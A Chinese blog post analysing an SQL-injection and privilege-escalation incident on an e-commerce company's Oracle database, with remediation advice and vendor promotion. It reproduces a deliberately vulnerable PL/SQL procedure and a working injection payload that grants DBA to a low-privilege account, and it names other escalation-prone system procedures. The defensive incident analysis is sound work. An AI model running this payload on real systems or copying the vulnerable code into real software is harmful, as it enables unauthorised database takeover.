3月女人节，电商行业自己创办的节日，着实让爱购物的女人们疯狂了一把。默默躲在屏幕背后的黑手，此时也正值忙碌时期。事后，笔者有幸被邀请参与A公司黑客入侵电商ERP系统安全事件的评估分析。黑客采取的手段和事后的原因追查分析，隐去客户信息，分享给大家，警示防范。
事件起由，公司发现电商ERP系统后台数据库（oracle）被SQL注入，特别严重的是应用所用的普通用户账号被提升为DBA权限；所幸的是入侵者并未对数据库的后台数据进行破坏，比如truncate table或drop database，否则后果不堪影响。于是，公司内安全管理员对该账号进行行业内部的信息处理后，作为数据库安全的重要厂商安华金和的渗透研究工程师，笔者也被邀请参与其中，对此次事件的原因和防范措施进行总结。镜头回放，详见下文：
入侵过程概述
线索发生在A公司电商系统对应的web服务器apache日志上面。日志中记录了大量的sql注入行为，笔者分析确定此次入侵是由web注入开始，通过电子商务系统漏洞，黑客获取了当前电子商务系统的一个访问数据库的账号erp_user。这个账号本身只有应用系
统的表访问权限，但是黑客通过应用系统的一个具有注入漏洞的存储过程完成了提权入侵，该存储过程含有参数类型为varchar的函数，通过对于该参数传入“GRANT DBA TO ERP_USER“，完成账号的全部提权工作；经过对源代码的检查，发现在该函数内部，存在通过参数拼接形成SQL语句并执行的代码。
入侵过程重现
为了说明清楚，笔者这里为大家模拟重现一下黑客的入侵过程。
（1）首先我们模拟出开发人员所创建的不安全存储过程：
CREATE OR REPLACE PROCEDURE VULNPROC(STR VARCHAR)
IS STMT VARCHAR(2000);
BEGIN
STMT:=‘SELECT * FROM ALL_OBJECTS WHERE OBJECT_NAME = ‘‘‘ || STR ||‘‘‘‘;
EXECUTE IMMEDIATE STMT;
END ;
GRANT EXECUTE ON VULNPROC TO PUBLIC --把该存储过程执行权限赋给public;
（2）其次我们创建一个最低等级的用户账号
创建测试账号用于模拟黑客获得的账号。账号为schina（文中用于重现的数据库是在XP上的11.2.0.1.0）
sqlplus / as sysdba --登录数据库;
create user schina identified by schina --创建测试用户 ;
grant create session to schina --只赋予session权限;
connect schina/schina --登入测试账号;
SELECT * FROM SESSION_PRIVS --查询当前用户权限;
（3）模拟黑客提权
用schina账号登入，调用存储过程VULNPROC中间嵌入提权语句GRANT DBA TO schina。
EXEC
SYS.VULNPROC(‘liusicheng‘‘||SYS.KUPP$PROC.CREATE_MASTER_PROCESS
(‘‘EXECUTE IMMEDIATE ‘‘‘‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN EXECUTE IMMEDIATE ‘‘‘‘‘‘‘‘GRANT DBA TO schina‘‘‘‘‘‘‘‘;
END;‘‘‘‘;‘‘)||‘‘schina‘);
SET ROLE DBA --成功；
SELECT * FROM USER_ROLE_PRIVS --查询当前用户权限发现已具备DBA权限；
至此入侵结束，整个过程已经完整重现。
通过这次黑客提权入侵过程，我们可以总结出黑客入侵的过程是通过一系列手段完成的。首先通过web应用的漏洞获取一个数据库低权限口令，然后通过某DBA建立的不安全存储过程和某特定系统函数参数对低权限用户进行提权。最终黑客获得一个DBA权限账号。
原因和防护建议
按照模拟的整个过程，我们可以看出，此次黑客入侵主要源于A公司电子商务系统三个方向的安全隐患：
1. web应用系统自身安全
2. oracle数据库的安全机制的缺陷
3. 应用开发商的低级PL/SQL代码
（1）web应用安全的问题与修复建议
安全问题：
web应用程序的编写缺乏对sql注入的防御机制
缺乏专业的web防火墙或数据库防火墙的安全保护措施
解决建议：
对应用软件进行安全升级，改变不规范的书写方式，尽可能使用prepare的方式进行SQL语句执行；
增加输入内容的代码规范检查
定期对web应用进行漏洞扫描，厂商配合对出现的漏洞快速修复
加装WAF等web防火墙，增强抗sql注入能力
在web应用和数据库之间串入数据库防火墙，进一步防止WAF无法识别的sql注入
（2）oracle数据安全机制缺陷
缺陷1
oracle数据库自身的存储过程和函数调用的权限机制存在安全隐患：
用户调用pl/sql子程序的时候，程序在访问所涉及到的底层对象（包括表格等）时，用户不必拥有访问这些对象的权限，只需要用户有该存储过程的执行权限即可；而执行时是参照的是该子程序定义者的权限。
简单说就是如果用创建者只有创建权限，没有执行权限那么即便用sys账号也依旧无法执行。因为执行定义者权限模式的子程序的时候。在子程序中当前账号权限和创建该子程序用户权限一致。虽然这给oracle带来了很大的灵活性，但是会有很大的安全隐患。就像上文的例子一样。黑客可以利用子程序获得和子程序创建者一样高的权限，再以高权限执行恶意代码。黑客可以通过这种手段获得DBA账号、甚至控制整个oracle。
缺陷2
oracle中有些系统函数的参数对输入类型和长度缺乏控制，导致形成注入点。对于这种oracle缺乏控制的的函数的参数需要进一步约束。约束的方法可以等待oracle进行补丁修复后进行补丁升级，也可以通过数据库防火墙对特定函数使用的范围做一定的限制。
缺陷3
Oracle自身存在系统存储过程或函数自身存在提权漏洞，这些系统性的存储过程或函数需要调用者的权限很低，但通过注入的方式，完成将调用者的权限提升到dba，如：
SYS.LT.COMPRESSWORKSPACETREE、SYS.DBMS_CDC_IMPDP.BUMP_SEQUENCE、SYS.KUPW$WORKER.MAIN、CTXSYS.DRILOAD.BUILD_DML等。
PL/SQL开发人员的低级错误
1.缺乏对用户输入的限制。对于数据库防提权来讲，最关键的是严格控制用户输入。可以通过动态变量的方法，在指定用户输入时，由具体应用限制传入动态变量中的数据。例如在一定范围内限制使用单引号等特殊字符，不允许出现特定字符串例如 DBA，禁止使用连接符（||）等。
2.严格限制权限，DBA一定要及时收回一些暂时给用户的权限。否则会成为多种sql注入方式滋生的土壤。例如，如果不收回alter session权限。黑客就可以利用alter session 权限修改系统默认参数来完成lateral权限提升攻击。曾经在oracle10g中很多黑客利用MDSYS这个用户对数据库进行恶意攻击。MDSYS能进行一系列攻击的根源就是该用户具备CREATE ANY TRIGGER权限。找到数据库中拥有DBA权限的用户。提取该用户拥有的表中允许 PUBLIC用户执行DML操作的表。MDSYS创建一个具有恶意代码的触发器。将触发器执行一个拥有调用者权限的过程这样就会使得该过程能够以DBA权限执行。执行恶意代码
小结
数据库和web应用自身存在诸多问题，这些问题最佳方式是获取厂商及时发布的修复补丁。
但由于发布时间或服务购买的原因等诸多原因会造成一段漏洞的真空期，这段真空期就需要通过对应的防火墙进行暂时的防护。但实际上真正被黑客入侵的案例中，往往和开发人员或DBA的失误操作密不可分。
为了有效防止这些问题，建议最终用户可以采用如下措施：
（1）采用漏洞扫描工具及时发现在web应用程序、数据库、PL/SQL中存在的问题；当前很少有用户对PL/SQL中的代码进行检查，这样恶意的开发人员或安全意识差的开发人员的程序中往往留下可注入的漏洞或后门；类似于安华金和这样的厂商提供的数据库漏扫工具就具备对高风险的PL/SQL程序进行扫描的能力。
（2）采用数据库防火墙或WEB防火墙对外部黑客的攻击行为进行检查和拦截；安华金和的数据库防火墙，可以有效地对来自于应用的SQL注入进行拦截，甚至那些复杂的能够绕过WAF的攻击行为。
本文出自 “数据库安全” 博客，请务必保留此出处http://schina.blog.51cto.com/9734953/1641975
存储过程造成严重安全后门——记某电商SQL注入安全事件实例分析
原文地址：http://schina.blog.51cto.com/9734953/1641975
